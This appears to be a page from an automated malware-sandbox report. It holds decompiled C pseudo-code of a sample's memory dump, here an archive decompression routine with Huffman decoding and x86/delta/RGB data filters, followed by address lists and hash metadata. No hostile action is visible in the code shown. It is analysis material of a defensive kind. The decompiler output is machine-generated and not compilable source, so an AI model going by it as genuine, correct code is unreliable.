								_t284 = _t315 + _t315;
								 *(_t440 + 0x4adc) = _t284;
								_push(_t284 * 0xc);
								_push( *(_t440 + 0x4ad4));
								_t310 = E013C20CE(_t315, _t414);
								__eflags = _t310;
								if(_t310 == 0) {
									E013A6DC7(0x13dcbe8);
								}
								 *(_t440 + 0x4ad4) = _t310;
							}
							_t203 =  *(_t440 + 0x4ad8);
							_t295 = _t203 * 0xc +  *(_t440 + 0x4ad4);
							 *(_t455 + 0x24) = _t295;
							 *(_t440 + 0x4ad8) = _t203 + 1;
							_t205 = E013AA4D1(_t438);
							_t206 =  *(_t440 + 0xb4);
							_t416 = _t205 & 0x0000fffe;
							__eflags = _t416 -  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4));
							if(_t416 >=  *((intOrPtr*)(_t440 + 0x34 + _t206 * 4))) {
								_t442 = 0xf;
								_t207 = _t206 + 1;
								__eflags = _t207 - _t442;
								if(_t207 >= _t442) {
									L27:
									_t318 =  *(_t438 + 4) + _t442;
									 *(_t438 + 4) = _t318 & 0x00000007;
									_t209 = _t318 >> 3;
									 *_t438 =  *_t438 + _t209;
									_t320 = 0x10;
									_t443 =  *((intOrPtr*)(_t455 + 0x1c));
									_t323 =  *((intOrPtr*)(_t440 + 0x74 + _t442 * 4)) + (_t416 -  *((intOrPtr*)(_t440 + 0x30 + _t442 * 4)) >> _t320 - _t442);
									__eflags = _t323 -  *((intOrPtr*)(_t440 + 0x30));
									asm("sbb eax, eax");
									_t210 = _t209 & _t323;
									__eflags = _t210;
									_t324 =  *(_t440 + 0xcb8 + _t210 * 2) & 0x0000ffff;
									goto L28;
								}
								_t404 = _t440 + 0x34 + _t207 * 4;
								while(1) {
									__eflags = _t416 -  *_t404;
									if(_t416 <  *_t404) {
										break;
									}
									_t207 = _t207 + 1;
									_t404 = _t404 + 4;
									__eflags = _t207 - 0xf;
									if(_t207 < 0xf) {
										continue;
									}
									goto L27;
								}
								_t442 = _t207;
								goto L27;
							} else {
								_t405 = 0x10;
								_t436 = _t416 >> _t405 - _t206;
								_t408 = ( *(_t436 + _t440 + 0xb8) & 0x000000ff) +  *(_t438 + 4);
								 *_t438 =  *_t438 + (_t408 >> 3);
								 *(_t438 + 4) = _t408 & 0x00000007;
								_t324 =  *(_t440 + 0x4b8 + _t436 * 2) & 0x0000ffff;
								L28:
								__eflags = _t324 - 0x100;
								if(_t324 >= 0x100) {
									__eflags = _t324 - 0x106;
									if(_t324 < 0x106) {
										__eflags = _t324 - 0x100;
										if(_t324 != 0x100) {
											__eflags = _t324 - 0x101;
											if(_t324 != 0x101) {
												_t212 = 3;
												 *_t295 = _t212;
												_t295[2] = _t324 - 0x102;
												_t214 = E013AA4D1(_t438);
												_t215 =  *(_t440 + 0x2d78);
												_t420 = _t214 & 0x0000fffe;
												__eflags = _t420 -  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4));
												if(_t420 >=  *((intOrPtr*)(_t440 + 0x2cf8 + _t215 * 4))) {
													_t296 = 0xf;
													_t216 = _t215 + 1;
													__eflags = _t216 - _t296;
													if(_t216 >= _t296) {
														L85:
														_t327 =  *(_t438 + 4) + _t296;
														 *(_t438 + 4) = _t327 & 0x00000007;
														_t218 = _t327 >> 3;
														 *_t438 =  *_t438 + _t218;
														_t329 = 0x10;
														_t332 =  *((intOrPtr*)(_t440 + 0x2d38 + _t296 * 4)) + (_t420 -  *((intOrPtr*)(_t440 + 0x2cf4 + _t296 * 4)) >> _t329 - _t296);
														__eflags = _t332 -  *((intOrPtr*)(_t440 + 0x2cf4));
														asm("sbb eax, eax");
														_t219 = _t218 & _t332;
														__eflags = _t219;
														_t220 =  *(_t440 + 0x397c + _t219 * 2) & 0x0000ffff;
														L86:
														_t297 = _t220 & 0x0000ffff;
														__eflags = _t297 - 8;
														if(_t297 >= 8) {
															_t221 = 3;
															_t446 = (_t297 >> 2) - 1;
															_t301 = ((_t297 & _t221 | 0x00000004) << _t446) + 2;
															__eflags = _t446;
															if(_t446 != 0) {
																_t223 = E013AA4D1(_t438);
																_t335 = 0x10;
																_t301 = _t301 + (_t223 >> _t335 - _t446);
																_t338 =  *(_t438 + 4) + _t446;
																 *_t438 =  *_t438 + (_t338 >> 3);
																_t339 = _t338 & 0x00000007;
																__eflags = _t339;
																 *(_t438 + 4) = _t339;
															}
														} else {
															_t301 = _t297 + 2;
														}
														( *(_t455 + 0x24))[1] = _t301;
														L91:
														_t414 =  *(_t455 + 0x14);
														_t201 =  *(_t455 + 0x18);
														_t293 =  *(_t455 + 0x3c);
														_t443 =  *((intOrPtr*)(_t455 + 0x1c));
														while(1) {
															_t314 =  *_t438;
															__eflags = _t314 - _t293;
															if(_t314 < _t293) {
																goto L15;
															}
															goto L9;
														}
													}
													_t341 = _t440 + 0x2cf8 + _t216 * 4;
													while(1) {
														__eflags = _t420 -  *_t341;
														if(_t420 <  *_t341) {
															break;
														}
														_t216 = _t216 + 1;
														_t341 = _t341 + 4;
														__eflags = _t216 - 0xf;
														if(_t216 < 0xf) {
															continue;
														}
														goto L85;
													}
													_t296 = _t216;
													goto L85;
												}
												_t342 = 0x10;
												_t423 = _t420 >> _t342 - _t215;
												_t345 = ( *(_t423 + _t440 + 0x2d7c) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t345 >> 3);
												 *(_t438 + 4) = _t345 & 0x00000007;
												_t220 =  *(_t440 + 0x317c + _t423 * 2) & 0x0000ffff;
												goto L86;
											}
											 *_t295 = 2;
											L33:
											_t414 =  *(_t455 + 0x14);
											_t201 =  *(_t455 + 0x18);
											_t293 =  *(_t455 + 0x3c);
											continue;
										}
										_push(_t455 + 0x28);
										E013B2CCA(_t443, _t438);
										_t295[1] =  *(_t455 + 0x28) & 0x000000ff;
										_t295[2] =  *(_t455 + 0x2c);
										_t424 = 4;
										 *_t295 = _t424;
										_t233 =  *(_t440 + 0x4ad8);
										_t349 = _t233 * 0xc +  *(_t440 + 0x4ad4);
										 *(_t440 + 0x4ad8) = _t233 + 1;
										_t349[1] =  *(_t455 + 0x34) & 0x000000ff;
										 *_t349 = _t424;
										_t349[2] =  *(_t455 + 0x30);
										goto L33;
									}
									_t237 = _t324 - 0x106;
									__eflags = _t237 - 8;
									if(_t237 >= 8) {
										_t350 = 3;
										_t304 = (_t237 >> 2) - 1;
										_t237 = (_t237 & _t350 | 0x00000004) << _t304;
										__eflags = _t237;
									} else {
										_t304 = 0;
									}
									_t447 = _t237 + 2;
									 *(_t455 + 0x10) = _t447;
									__eflags = _t304;
									if(_t304 != 0) {
										_t274 = E013AA4D1(_t438);
										_t398 = 0x10;
										_t401 =  *(_t438 + 4) + _t304;
										 *(_t455 + 0x10) = _t447 + (_t274 >> _t398 - _t304);
										 *_t438 =  *_t438 + (_t401 >> 3);
										_t402 = _t401 & 0x00000007;
										__eflags = _t402;
										 *(_t438 + 4) = _t402;
									}
									_t240 = E013AA4D1(_t438);
									_t241 =  *(_t440 + 0xfa0);
									_t426 = _t240 & 0x0000fffe;
									__eflags = _t426 -  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4));
									if(_t426 >=  *((intOrPtr*)(_t440 + 0xf20 + _t241 * 4))) {
										_t305 = 0xf;
										_t242 = _t241 + 1;
										__eflags = _t242 - _t305;
										if(_t242 >= _t305) {
											L49:
											_t354 =  *(_t438 + 4) + _t305;
											 *(_t438 + 4) = _t354 & 0x00000007;
											_t244 = _t354 >> 3;
											 *_t438 =  *_t438 + _t244;
											_t356 = 0x10;
											_t359 =  *((intOrPtr*)(_t440 + 0xf60 + _t305 * 4)) + (_t426 -  *((intOrPtr*)(_t440 + 0xf1c + _t305 * 4)) >> _t356 - _t305);
											__eflags = _t359 -  *((intOrPtr*)(_t440 + 0xf1c));
											asm("sbb eax, eax");
											_t245 = _t244 & _t359;
											__eflags = _t245;
											_t246 =  *(_t440 + 0x1ba4 + _t245 * 2) & 0x0000ffff;
											goto L50;
										}
										_t391 = _t440 + 0xf20 + _t242 * 4;
										while(1) {
											__eflags = _t426 -  *_t391;
											if(_t426 <  *_t391) {
												break;
											}
											_t242 = _t242 + 1;
											_t391 = _t391 + 4;
											__eflags = _t242 - 0xf;
											if(_t242 < 0xf) {
												continue;
											}
											goto L49;
										}
										_t305 = _t242;
										goto L49;
									} else {
										_t392 = 0x10;
										_t434 = _t426 >> _t392 - _t241;
										_t395 = ( *(_t434 + _t440 + 0xfa4) & 0x000000ff) +  *(_t438 + 4);
										 *_t438 =  *_t438 + (_t395 >> 3);
										 *(_t438 + 4) = _t395 & 0x00000007;
										_t246 =  *(_t440 + 0x13a4 + _t434 * 2) & 0x0000ffff;
										L50:
										_t247 = _t246 & 0x0000ffff;
										__eflags = _t247 - 4;
										if(_t247 >= 4) {
											_t308 = (_t247 >> 1) - 1;
											_t247 = (_t247 & 0x00000001 | 0x00000002) << _t308;
											__eflags = _t247;
										} else {
											_t308 = 0;
										}
										_t250 = _t247 + 1;
										 *(_t455 + 0x20) = _t250;
										_t448 = _t250;
										__eflags = _t308;
										if(_t308 == 0) {
											L68:
											__eflags = _t448 - 0x100;
											if(_t448 > 0x100) {
												_t253 =  *(_t455 + 0x10) + 1;
												 *(_t455 + 0x10) = _t253;
												__eflags = _t448 - 0x2000;
												if(_t448 > 0x2000) {
													_t254 = _t253 + 1;
													 *(_t455 + 0x10) = _t254;
													__eflags = _t448 - 0x40000;
													if(_t448 > 0x40000) {
														_t255 = _t254 + 1;
														__eflags = _t255;
														 *(_t455 + 0x10) = _t255;
													}
												}
											}
											_t251 =  *(_t455 + 0x24);
											 *_t251 = 1;
											_t251[1] =  *(_t455 + 0x10);
											_t251[2] = _t448;
											goto L91;
										} else {
											__eflags = _t308 - 4;
											if(__eflags < 0) {
												_t256 = E013B748C(_t438);
												_t363 = 0x20;
												_t448 = (_t256 >> _t363 - _t308) +  *(_t455 + 0x20);
												_t366 =  *(_t438 + 4) + _t308;
												 *_t438 =  *_t438 + (_t366 >> 3);
												_t367 = _t366 & 0x00000007;
												__eflags = _t367;
												 *(_t438 + 4) = _t367;
												goto L68;
											}
											if(__eflags > 0) {
												_t269 = E013B748C(_t438);
												_t384 = 0x24;
												_t448 = (_t269 >> _t384 - _t308 << 4) +  *(_t455 + 0x20);
												_t388 =  *(_t438 + 4) + 0xfffffffc + _t308;
												 *_t438 =  *_t438 + (_t388 >> 3);
												_t389 = _t388 & 0x00000007;
												__eflags = _t389;
												 *(_t438 + 4) = _t389;
											}
											_t259 = E013AA4D1(_t438);
											_t260 =  *(_t440 + 0x1e8c);
											_t430 = _t259 & 0x0000fffe;
											__eflags = _t430 -  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4));
											if(_t430 >=  *((intOrPtr*)(_t440 + 0x1e0c + _t260 * 4))) {
												_t309 = 0xf;
												_t261 = _t260 + 1;
												__eflags = _t261 - _t309;
												if(_t261 >= _t309) {
													L65:
													_t370 =  *(_t438 + 4) + _t309;
													 *(_t438 + 4) = _t370 & 0x00000007;
													_t263 = _t370 >> 3;
													 *_t438 =  *_t438 + _t263;
													_t372 = 0x10;
													_t375 =  *((intOrPtr*)(_t440 + 0x1e4c + _t309 * 4)) + (_t430 -  *((intOrPtr*)(_t440 + 0x1e08 + _t309 * 4)) >> _t372 - _t309);
													__eflags = _t375 -  *((intOrPtr*)(_t440 + 0x1e08));
													asm("sbb eax, eax");
													_t264 = _t263 & _t375;
													__eflags = _t264;
													_t265 =  *(_t440 + 0x2a90 + _t264 * 2) & 0x0000ffff;
													goto L66;
												}
												_t377 = _t440 + 0x1e0c + _t261 * 4;
												while(1) {
													__eflags = _t430 -  *_t377;
													if(_t430 <  *_t377) {
														break;
													}
													_t261 = _t261 + 1;
													_t377 = _t377 + 4;
													__eflags = _t261 - 0xf;
													if(_t261 < 0xf) {
														continue;
													}
													goto L65;
												}
												_t309 = _t261;
												goto L65;
											} else {
												_t378 = 0x10;
												_t433 = _t430 >> _t378 - _t260;
												_t381 = ( *(_t433 + _t440 + 0x1e90) & 0x000000ff) +  *(_t438 + 4);
												 *_t438 =  *_t438 + (_t381 >> 3);
												 *(_t438 + 4) = _t381 & 0x00000007;
												_t265 =  *(_t440 + 0x2290 + _t433 * 2) & 0x0000ffff;
												L66:
												_t448 = _t448 + (_t265 & 0x0000ffff);
												goto L68;
											}
										}
									}
								}
								__eflags =  *(_t440 + 0x4ad8) - 1;
								if( *(_t440 + 0x4ad8) <= 1) {
									L34:
									 *_t295 =  *_t295 & 0x00000000;
									_t295[2] = _t324;
									_t295[1] = 0;
									goto L33;
								}
								__eflags =  *(_t295 - 0xc);
								if( *(_t295 - 0xc) != 0) {
									goto L34;
								}
								_t279 =  *(_t295 - 8) & 0x0000ffff;
								_t435 = 3;
								__eflags = _t279 - _t435;
								if(_t279 >= _t435) {
									goto L34;
								}
								_t280 = _t279 + 1;
								 *(_t295 - 8) = _t280;
								 *((_t280 & 0x0000ffff) + _t295 - 4) = _t324;
								_t68 = _t440 + 0x4ad8;
								 *_t68 =  *(_t440 + 0x4ad8) - 1;
								__eflags =  *_t68;
								goto L33;
							}
						}
					}
					 *((char*)(_t440 + 0x4ad0)) = 1;
					goto L94;
				} else {
					 *((char*)(_t440 + 0x2c)) = 1;
					_push(_t440 + 0x30);
					_push(_t440 + 0x18);
					_push(_t440 + 4);
					_t291 = E013B30E5(__ecx);
					if(_t291 != 0) {
						goto L3;
					} else {
						 *((char*)(_t440 + 0x4ad0)) = 1;
						return _t291;
					}
				}
			}

0x013b5dbd
0x013b5dc3
0x013b5dcb
0x013b5df2
0x013b5df5
0x013b5dfb
0x013b5dfe
0x013b5e00
0x013b5e18
0x013b5e1f
0x013b5e21
0x013b5e24
0x013b5e28
0x013b5e2d
0x013b5e2f
0x013b5e31
0x013b5e33
0x013b5e33
0x013b5e35
0x013b5e39
0x013b5e39
0x013b5e3b
0x013b5e3d
0x00000000
0x00000000
0x013b5e3f
0x013b5e3f
0x013b5e41
0x013b63b8
0x013b63b9
0x00000000
0x013b63b9
0x013b5e47
0x013b5e55
0x013b5e55
0x013b5e57
0x013b5e66
0x013b5e66
0x013b5e6c
0x013b63b1
0x013b63b1
0x00000000
0x013b63b1
0x00000000
0x013b5e6c
0x013b5e59
0x013b5e60
0x00000000
0x00000000
0x00000000
0x013b5e60
0x013b5e49
0x013b5e4c
0x013b5e4f
0x00000000
0x00000000
0x00000000
0x013b5e72
0x013b5e72
0x013b5e7b
0x013b5e81
0x013b5e83
0x013b5e86
0x013b5e8f
0x013b5e90
0x013b5e9b
0x013b5e9f
0x013b5ea1
0x013b5ea8
0x013b5ea8
0x013b5ead
0x013b5ead
0x013b5eb3
0x013b5ebe
0x013b5ec5
0x013b5ec9
0x013b5ecf
0x013b5ed6
0x013b5edc
0x013b5ee2
0x013b5ee6
0x013b5f13
0x013b5f14
0x013b5f15
0x013b5f17
0x013b5f30
0x013b5f33
0x013b5f3a
0x013b5f3d
0x013b5f40
0x013b5f48
0x013b5f51
0x013b5f55
0x013b5f57
0x013b5f5a
0x013b5f5c
0x013b5f5c
0x013b5f5e
0x00000000
0x013b5f5e
0x013b5f1c
0x013b5f1f
0x013b5f1f
0x013b5f21
0x00000000
0x00000000
0x013b5f23
0x013b5f24
0x013b5f27
0x013b5f2a
0x00000000
0x00000000
0x00000000
0x013b5f2c
0x013b5f2e
0x00000000
0x013b5ee8
0x013b5eea
0x013b5eed
0x013b5ef7
0x013b5eff
0x013b5f04
0x013b5f07
0x013b5f66
0x013b5f6b
0x013b5f6d
0x013b5fbb
0x013b5fc1
0x013b6234
0x013b6236
0x013b6287
0x013b628d
0x013b629c
0x013b629d
0x013b62a7
0x013b62aa
0x013b62b1
0x013b62b7
0x013b62bd
0x013b62c4
0x013b62f1
0x013b62f2
0x013b62f3
0x013b62f5
0x013b6311
0x013b6314
0x013b631b
0x013b631e
0x013b6321
0x013b632c
0x013b6338
0x013b633a
0x013b6340
0x013b6342
0x013b6342
0x013b6344
0x013b634c
0x013b634c
0x013b634f
0x013b6352
0x013b6360
0x013b6363
0x013b636b
0x013b636e
0x013b6370
0x013b6374
0x013b637b
0x013b6383
0x013b6385
0x013b638c
0x013b638e
0x013b638e
0x013b6391
0x013b6391
0x013b6354
0x013b6354
0x013b6354
0x013b6398
0x013b639c
0x013b639c
0x013b63a0
0x013b63a4
0x013b63a8
0x013b5e39
0x013b5e39
0x013b5e3b
0x013b5e3d
0x00000000
0x00000000
0x00000000
0x013b5e3d
0x013b5e39
0x013b62fd
0x013b6300
0x013b6300
0x013b6302
0x00000000
0x00000000
0x013b6304
0x013b6305
0x013b6308
0x013b630b
0x00000000
0x00000000
0x00000000
0x013b630d
0x013b630f
0x00000000
0x013b630f
0x013b62c8
0x013b62cb
0x013b62d5
0x013b62dd
0x013b62e2
0x013b62e5
0x00000000
0x013b62e5
0x013b628f
0x013b5f9c
0x013b5f9c
0x013b5fa0
0x013b5fa4
0x00000000
0x013b5fa4
0x013b623e
0x013b6240
0x013b624a
0x013b6252
0x013b6257
0x013b6258
0x013b625a
0x013b6263
0x013b626a
0x013b6275
0x013b627d
0x013b627f
0x00000000
0x013b627f
0x013b5fc7
0x013b5fcd
0x013b5fd0
0x013b5fdd
0x013b5fe0
0x013b5fe6
0x013b5fe6
0x013b5fd2
0x013b5fd2
0x013b5fd2
0x013b5fe8
0x013b5feb
0x013b5fef
0x013b5ff1
0x013b5ff5
0x013b5ffc
0x013b6006
0x013b6008
0x013b6011
0x013b6013
0x013b6013
0x013b6016
0x013b6016
0x013b601b
0x013b6022
0x013b6028
0x013b602e
0x013b6035
0x013b6062
0x013b6063
0x013b6064
0x013b6066
0x013b6082
0x013b6085
0x013b608c
0x013b608f
0x013b6092
0x013b609d
0x013b60a9
0x013b60ab
0x013b60b1
0x013b60b3
0x013b60b3
0x013b60b5
0x00000000
0x013b60b5
0x013b606e
0x013b6071
0x013b6071
0x013b6073
0x00000000
0x00000000
0x013b6075
0x013b6076
0x013b6079
0x013b607c
0x00000000
0x00000000
0x00000000
0x013b607e
0x013b6080
0x00000000
0x013b6037
0x013b6039
0x013b603c
0x013b6046
0x013b604e
0x013b6053
0x013b6056
0x013b60bd
0x013b60bd
0x013b60c0
0x013b60c3
0x013b60d3
0x013b60d6
0x013b60d6
0x013b60c5
0x013b60c5
0x013b60c5
0x013b60d8
0x013b60d9
0x013b60dd
0x013b60df
0x013b60e1
0x013b61ef
0x013b61ef
0x013b61f5
0x013b61fb
0x013b61fc
0x013b6200
0x013b6206
0x013b6208
0x013b6209
0x013b620d
0x013b6213
0x013b6215
0x013b6215
0x013b6216
0x013b6216
0x013b6213
0x013b6206
0x013b621a
0x013b6222
0x013b6228
0x013b622c
0x00000000
0x013b60e7
0x013b60e7
0x013b60ea
0x013b61cb
0x013b61d4
0x013b61dc
0x013b61e0
0x013b61e7
0x013b61e9
0x013b61e9
0x013b61ec
0x00000000
0x013b61ec
0x013b60f0
0x013b60f4
0x013b60fd
0x013b610b
0x013b610f
0x013b6116
0x013b6118
0x013b6118
0x013b611b
0x013b611b
0x013b6120
0x013b6127
0x013b612d
0x013b6133
0x013b613a
0x013b6167
0x013b6168
0x013b6169
0x013b616b
0x013b6187
0x013b618a
0x013b6191
0x013b6194
0x013b6197
0x013b61a2
0x013b61ae
0x013b61b0
0x013b61b6
0x013b61b8
0x013b61b8
0x013b61ba
0x00000000
0x013b61ba
0x013b6173
0x013b6176
0x013b6176
0x013b6178
0x00000000
0x00000000
0x013b617a
0x013b617b
0x013b617e
0x013b6181
0x00000000
0x00000000
0x00000000
0x013b6183
0x013b6185
0x00000000
0x013b613c
0x013b613e
0x013b6141
0x013b614b
0x013b6153
0x013b6158
0x013b615b
0x013b61c2
0x013b61c5
0x00000000
0x013b61c5
0x013b613a
0x013b60e1
0x013b6035
0x013b5f6f
0x013b5f76
0x013b5fad
0x013b5fad
0x013b5fb2
0x013b5fb5
0x00000000
0x013b5fb5
0x013b5f78
0x013b5f7c
0x00000000
0x00000000
0x013b5f7e
0x013b5f84
0x013b5f85
0x013b5f88
0x00000000
0x00000000
0x013b5f8a
0x013b5f8b
0x013b5f92
0x013b5f96
0x013b5f96
0x013b5f96
0x00000000
0x013b5f96
0x013b5ee6
0x013b5e39
0x013b5e02
0x00000000
0x013b5dcd
0x013b5dd0
0x013b5dd4
0x013b5dd8
0x013b5ddc
0x013b5ddd
0x013b5de4
0x00000000
0x013b5de6
0x013b5de6
0x00000000
0x013b5de6
0x013b5de4

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f07b3243e0b119843b117c2883e91bc7e6ca55232eea66cc9917bdce863e438d
Instruction ID: fb4de5058104c1cb1e4c6620cdff4fa7ac372dca69d421403d2d280301cff99e
Opcode Fuzzy Hash: f07b3243e0b119843b117c2883e91bc7e6ca55232eea66cc9917bdce863e438d
Instruction Fuzzy Hash: F212D3B16147068FD729CF28C8D16B9B7E0FB44308F14892DDA9BC7E82E774A495CB45

Uniqueness

Uniqueness Score: -1.00%

Function 013ABA6A Relevance: .4, Instructions: 449
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E013ABA6A(signed int* __ecx) {
				void* __edi;
				signed int _t194;
				signed int _t197;
				void* _t204;
				signed char _t205;
				signed int _t215;
				signed int _t217;
				signed int _t218;
				intOrPtr _t219;
				signed int _t221;
				signed int _t223;
				void* _t234;
				signed int _t235;
				signed int _t238;
				signed int _t266;
				void* _t267;
				void* _t268;
				void* _t269;
				void* _t270;
				void* _t271;
				signed int _t274;
				intOrPtr _t275;
				void* _t276;
				signed char* _t277;
				signed int _t278;
				signed int _t279;
				signed int _t281;
				char _t282;
				signed int _t284;
				signed int _t285;
				signed char _t289;
				void* _t290;
				intOrPtr _t292;
				signed int _t293;
				signed char* _t297;
				signed int _t304;
				signed int _t306;
				signed int _t308;
				signed char _t309;
				signed int _t310;
				intOrPtr _t311;
				void* _t312;
				void* _t313;
				unsigned int _t316;
				signed int _t317;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed char _t323;
				signed int _t324;
				signed int _t325;
				void* _t326;
				void* _t327;
				void* _t328;
				signed int _t331;
				signed char _t332;
				signed int _t333;
				signed char* _t334;
				signed int _t335;
				signed int _t336;
				signed char _t338;
				unsigned int _t340;
				signed int _t345;
				void* _t350;
				signed int _t351;
				signed int _t352;
				signed int _t353;
				void* _t354;
				void* _t355;

				_t311 =  *((intOrPtr*)(_t355 + 4));
				_t339 = __ecx;
				if(_t311 <= 0) {
					L15:
					return 1;
				}
				if(_t311 <= 2) {
					_t194 = __ecx[5];
					_t284 =  *__ecx;
					_t340 = __ecx[7];
					_t276 = _t194 - 4;
					if(_t276 > 0x3fffc) {
						L98:
						return 0;
					}
					_t326 = 0;
					_t197 = (_t194 & 0xffffff00 | _t311 == 0x00000002) + 0xe8;
					 *(_t355 + 0x60) = _t197;
					if(_t276 == 0) {
						goto L15;
					} else {
						goto L88;
					}
					do {
						L88:
						_t312 =  *_t284;
						_t284 = _t284 + 1;
						_t327 = _t326 + 1;
						_t340 = _t340 + 1;
						if(_t312 == 0xe8 || _t312 == _t197) {
							_t313 =  *_t284;
							if(_t313 >= 0) {
								_t191 = _t313 - 0x1000000; // -16777215
								if(_t191 < 0) {
									 *_t284 = _t313 - _t340;
								}
							} else {
								if(_t340 + _t313 >= 0) {
									_t190 = _t313 + 0x1000000; // 0x1000001
									 *_t284 = _t190;
								}
							}
							_t197 =  *(_t355 + 0x60);
							_t284 = _t284 + 4;
							_t326 = _t327 + 4;
							_t340 = _t340 + 4;
						}
					} while (_t326 < _t276);
					goto L15;
				}
				if(_t311 == 3) {
					_t277 =  *__ecx;
					_t328 = __ecx[5] - 0x15;
					if(_t328 > 0x3ffeb) {
						goto L98;
					}
					_t316 = __ecx[7] >> 4;
					 *(_t355 + 0x28) = _t316;
					if(_t328 == 0) {
						goto L15;
					}
					_t331 = (_t328 - 1 >> 4) + 1;
					 *(_t355 + 0x30) = _t331;
					do {
						_t204 = ( *_t277 & 0x1f) - 0x10;
						if(_t204 < 0) {
							goto L84;
						}
						_t205 =  *((intOrPtr*)(_t204 + 0x13da070));
						if(_t205 == 0) {
							goto L84;
						}
						_t332 =  *(_t355 + 0x28);
						_t285 = 0;
						_t317 = _t205 & 0x000000ff;
						 *((intOrPtr*)(_t355 + 0x64)) = 0;
						 *(_t355 + 0x38) = _t317;
						_t350 = 0x12;
						do {
							if((_t317 & 1) != 0) {
								_t175 = _t350 + 0x18; // 0x2a
								if(E013ABFD3(_t277, _t175, 4) == 5) {
									E013AC01E(_t277, E013ABFD3(_t277, _t350, 0x14) - _t332 & 0x000fffff, _t350, 0x14);
								}
								_t317 =  *(_t355 + 0x34);
								_t285 =  *(_t355 + 0x60);
							}
							_t285 = _t285 + 1;
							_t350 = _t350 + 0x29;
							 *(_t355 + 0x60) = _t285;
						} while (_t350 <= 0x64);
						_t331 =  *(_t355 + 0x30);
						_t316 =  *(_t355 + 0x28);
						L84:
						_t277 =  &(_t277[0x10]);
						_t316 = _t316 + 1;
						_t331 = _t331 - 1;
						 *(_t355 + 0x28) = _t316;
						 *(_t355 + 0x30) = _t331;
					} while (_t331 != 0);
					goto L15;
				}
				if(_t311 == 4) {
					_t215 = __ecx[1];
					_t289 = __ecx[5];
					_t333 = __ecx[2];
					 *(_t355 + 0x60) = _t215;
					_t278 = _t215 - 3;
					 *(_t355 + 0x28) = _t289;
					 *(_t355 + 0x34) = _t278;
					 *(_t355 + 0x3c) = _t333;
					if(_t289 - 3 > 0x1fffd || _t278 > _t289 || _t333 > 2) {
						goto L98;
					} else {
						_t217 =  *__ecx;
						 *(_t355 + 0x24) = _t217;
						_t351 = _t217 + _t289;
						_t218 = 0;
						 *(_t355 + 0x14) = _t351;
						_t319 = _t351 - _t278;
						 *(_t355 + 0x1c) = 0;
						 *(_t355 + 0x10) = _t319;
						do {
							_t279 = 0;
							if(_t218 >= _t289) {
								goto L67;
							}
							_t334 = _t319 + _t218;
							_t320 =  *(_t355 + 0x60);
							_t221 =  *(_t355 + 0x34) - _t351;
							_t352 =  *(_t355 + 0x34);
							 *(_t355 + 0x20) = _t221;
							do {
								if( &(_t334[_t221]) >= _t320) {
									_t227 =  *_t334 & 0x000000ff;
									_t291 =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x30) =  *_t334 & 0x000000ff;
									 *(_t355 + 0x2c) =  *(_t334 - 3) & 0x000000ff;
									 *(_t355 + 0x3c) = E013C363B(_t320, _t227 - _t291 + _t279 - _t279);
									 *(_t355 + 0x24) = E013C363B(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x34));
									_t234 = E013C363B(_t320, _t227 - _t291 + _t279 -  *(_t355 + 0x34));
									_t292 =  *((intOrPtr*)(_t355 + 0x44));
									_t355 = _t355 + 0xc;
									_t321 =  *(_t355 + 0x18);
									if(_t292 > _t321 || _t292 > _t234) {
										_t289 =  *(_t355 + 0x28);
										_t320 =  *(_t355 + 0x60);
										_t279 =  *(_t355 + 0x30);
										if(_t321 > _t234) {
											_t279 =  *(_t355 + 0x2c);
										}
									} else {
										_t289 =  *(_t355 + 0x28);
										_t320 =  *(_t355 + 0x60);
									}
								}
								_t223 =  *(_t355 + 0x24);
								_t279 = _t279 -  *_t223 & 0x000000ff;
								 *(_t355 + 0x24) = _t223 + 1;
								_t334[_t352] = _t279;
								_t334 =  &(_t334[3]);
								_t221 =  *(_t355 + 0x20);
							} while ( &(_t334[ *(_t355 + 0x20)]) < _t289);
							_t351 =  *(_t355 + 0x14);
							_t218 =  *(_t355 + 0x1c);
							_t319 =  *(_t355 + 0x10);
							L67:
							_t218 = _t218 + 1;
							 *(_t355 + 0x1c) = _t218;
						} while (_t218 < 3);
						_t335 =  *(_t355 + 0x3c);
						_t290 = _t289 + 0xfffffffe;
						while(_t335 < _t290) {
							_t219 =  *((intOrPtr*)(_t335 + _t351 + 1));
							 *((intOrPtr*)(_t335 + _t351)) =  *((intOrPtr*)(_t335 + _t351)) + _t219;
							 *((intOrPtr*)(_t335 + _t351 + 2)) =  *((intOrPtr*)(_t335 + _t351 + 2)) + _t219;
							_t335 = _t335 + 3;
						}
						goto L15;
					}
				}
				if(_t311 == 5) {
					_t235 = __ecx[5];
					_t293 =  *__ecx;
					_t281 = __ecx[1];
					 *(_t355 + 0x2c) = _t293;
					 *(_t355 + 0x30) = _t235;
					 *(_t355 + 0x38) = _t293 + _t235;
					if(_t235 > 0x20000 || _t281 > 0x80 || _t281 == 0) {
						goto L98;
					} else {
						_t336 = 0;
						 *(_t355 + 0x34) = 0;
						if(_t281 == 0) {
							goto L15;
						} else {
							goto L21;
						}
						do {
							L21:
							 *(_t355 + 0x20) =  *(_t355 + 0x20) & 0x00000000;
							 *(_t355 + 0x1c) =  *(_t355 + 0x1c) & 0x00000000;
							_t345 = 0;
							 *(_t355 + 0x18) =  *(_t355 + 0x18) & 0x00000000;
							_t353 = 0;
							 *(_t355 + 0x14) =  *(_t355 + 0x14) & 0x00000000;
